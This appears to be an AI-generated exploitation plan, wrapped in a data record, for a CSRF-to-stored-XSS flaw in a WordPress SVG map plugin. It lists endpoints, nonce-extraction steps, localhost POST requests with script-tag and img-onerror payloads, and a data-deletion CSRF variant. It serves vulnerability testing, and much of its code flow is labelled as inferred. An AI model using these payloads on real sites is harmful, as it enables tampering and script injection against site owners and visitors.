Vulnerability Summary\nThe **SVG Map by Smjrifle** plugin (versions up to 1.0.0) is vulnerable to Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS). Multiple AJAX actions, specifically `save_data`, `delete_data`, and `add_popup`, fail to implement proper nonce validation (or use incorrect validation logic). This allows an attacker to trick a logged-in administrator into making unintended requests that modify map settings, delete data, or inject malicious JavaScript into the map configuration.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Actions:** `save_data` (Primary for XSS), `delete_data`, `add_popup`.\n*   **HTTP Method:** POST\n*   **Authentication:** Requires a logged-in Administrator session (targeted via CSRF).\n*   **Payload Parameter:** Likely a JSON string or specific POST fields representing map data (e.g., `data`, `content`, or `popup_text`).\n*   **Preconditions:** An administrator must be tricked into visiting an attacker-controlled page while authenticated.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers AJAX handlers using `add_action('wp_ajax_save_data', ...)` and `add_action('wp_ajax_add_popup', ...)`.\n2.  **Missing Check:** Inside the callback functions for these actions, there is either no call to `check_ajax_referer()` or `wp_verify_nonce()`, or the check is incorrectly implemented (e.g., ignoring the return value).\n3.  **Data Processing:** The handler retrieves user input from `$_POST`.\n4.  **Database Sink:** The input is stored in the database via `update_option()` or `$wpdb->insert()\u002Fupdate()`.\n5.  **Output (XSS):** When the SVG map is rendered on the frontend or admin dashboard, the unsanitized input is printed directly into the HTML, executing the injected script.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description states \"missing or incorrect nonce validation.\" If validation is truly missing, no nonce is required. However, if the agent needs to verify an \"incorrect\" implementation or if the plugin *attempts* to use a nonce but fails to verify it properly:\n\n1.  **Identify Script Localization:** Search the source for `wp_localize_script`.\n2.  **Create Trigger Page:** Create a page with the map shortcode (inferred to be `[svg-map]` or similar based on plugin slug).\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Map Test\" --post_content='[svg-map]'\n    ```\n3.  **Extract Nonce via Browser:**\n    *   Navigate to the created page using `browser_navigate`.\n    *   Use `browser_eval` to find potential nonce objects:\n        ```javascript\n        \u002F\u002F Inferred variable names based on common plugin patterns\n        window.svg_map_obj?.nonce || window.smjrifle_map_data?.security\n        ```\n4.  **Source Check:** If source is available, grep for the action used in `wp_create_nonce` to ensure the correct string is used in the exploit.\n\n## 5. Exploitation Strategy\nWe will target the `save_data` action to inject a Stored XSS payload via CSRF.\n\n### Step 1: Craft the CSRF Request\nThe request will be a POST to `admin-ajax.php`.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=save_data&data={\"id\":\"1\",\"title\":\"\u003Cscript>alert(origin)\u003C\u002Fscript>\",\"other_params\":\"...\"}\n    ```\n    *(Note: The exact structure of the `data` parameter needs to be verified by looking at the plugin's JS or PHP handler.)*\n\n### Step 2: Execute via Agent\nSince the agent simulates the \"attacker\" and \"victim\" roles in an isolated environment, it can perform the request using the administrator's cookies directly to demonstrate the lack of CSRF protection.\n\n```javascript\n\u002F\u002F Using http_request tool\nconst response = await http_request({\n  url: \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  method: \"POST\",\n  form: {\n    action: \"save_data\",\n    data: '{\"title\":\"\u003Cscript>alert(\\'XSS\\')\u003C\u002Fscript>\"}' \u002F\u002F Payload\n  }\n});\n```\n\n## 6. Test Data Setup\n1.  **Active Plugin:** Ensure `svg-map-by-saedi` is installed and activated.\n2.  **Create Map Instance:** If the plugin requires an existing map ID, create one through the admin UI or via `wp eval`.\n3.  **Administrator User:** Use the existing admin account to perform the authenticated request.\n\n## 7. Expected Results\n*   **HTTP Response:** A successful JSON response (e.g., `{\"success\":true}` or `1`) despite no nonce being provided.\n*   **Database Change:** The malicious `\u003Cscript>` tag is stored in the plugin's configuration options or database tables.\n*   **XSS Execution:** Navigating to the page where the map is displayed triggers a JavaScript alert.\n\n## 8. Verification Steps\n1.  **Check Database:**\n    ```bash\n    wp option get svg_map_data --format=json\n    # OR if it uses a custom table\n    wp db query \"SELECT * FROM wp_svg_maps\"\n    ```\n2.  **Frontend Check:**\n    Navigate to the page containing the map and check for the presence of the payload:\n    ```javascript\n    browser_eval(\"document.body.innerHTML.includes('\u003Cscript>alert')\")\n    ```\n\n## 9. Alternative Approaches\n*   **Target `add_popup`:** If `save_data` is well-sanitized, try the `add_popup` action. Popups often involve HTML content and are frequently overlooked during sanitization.\n    *   **Payload:** `action=add_popup&map_id=1&content=\u003Cimg src=x onerror=alert(1)>`\n*   **Target `delete_data`:** To demonstrate CSRF without XSS, attempt to delete all map data by sending a request to `delete_data` without a nonce. Success confirms the CSRF vulnerability.","The SVG Map Plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because it lacks nonce validation on multiple AJAX actions like 'save_data', 'delete_data', and 'add_popup'.

An attacker crafts a malicious HTML page containing a form that automatically submits a POST request to the target site.

Because the plugin does not verify a CSRF nonce, the request is processed using the authenticated session of a site administrator who views the attacker's page. Once stored, the malicious script executes whenever a user or admin views the affected map or popup in the WordPress dashboard or on the frontend.","gemini-3-flash-preview","2026-05-21 02:23:47","2026-05-21 02:24:20",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsvg-map-by-saedi\u002Ftags"]
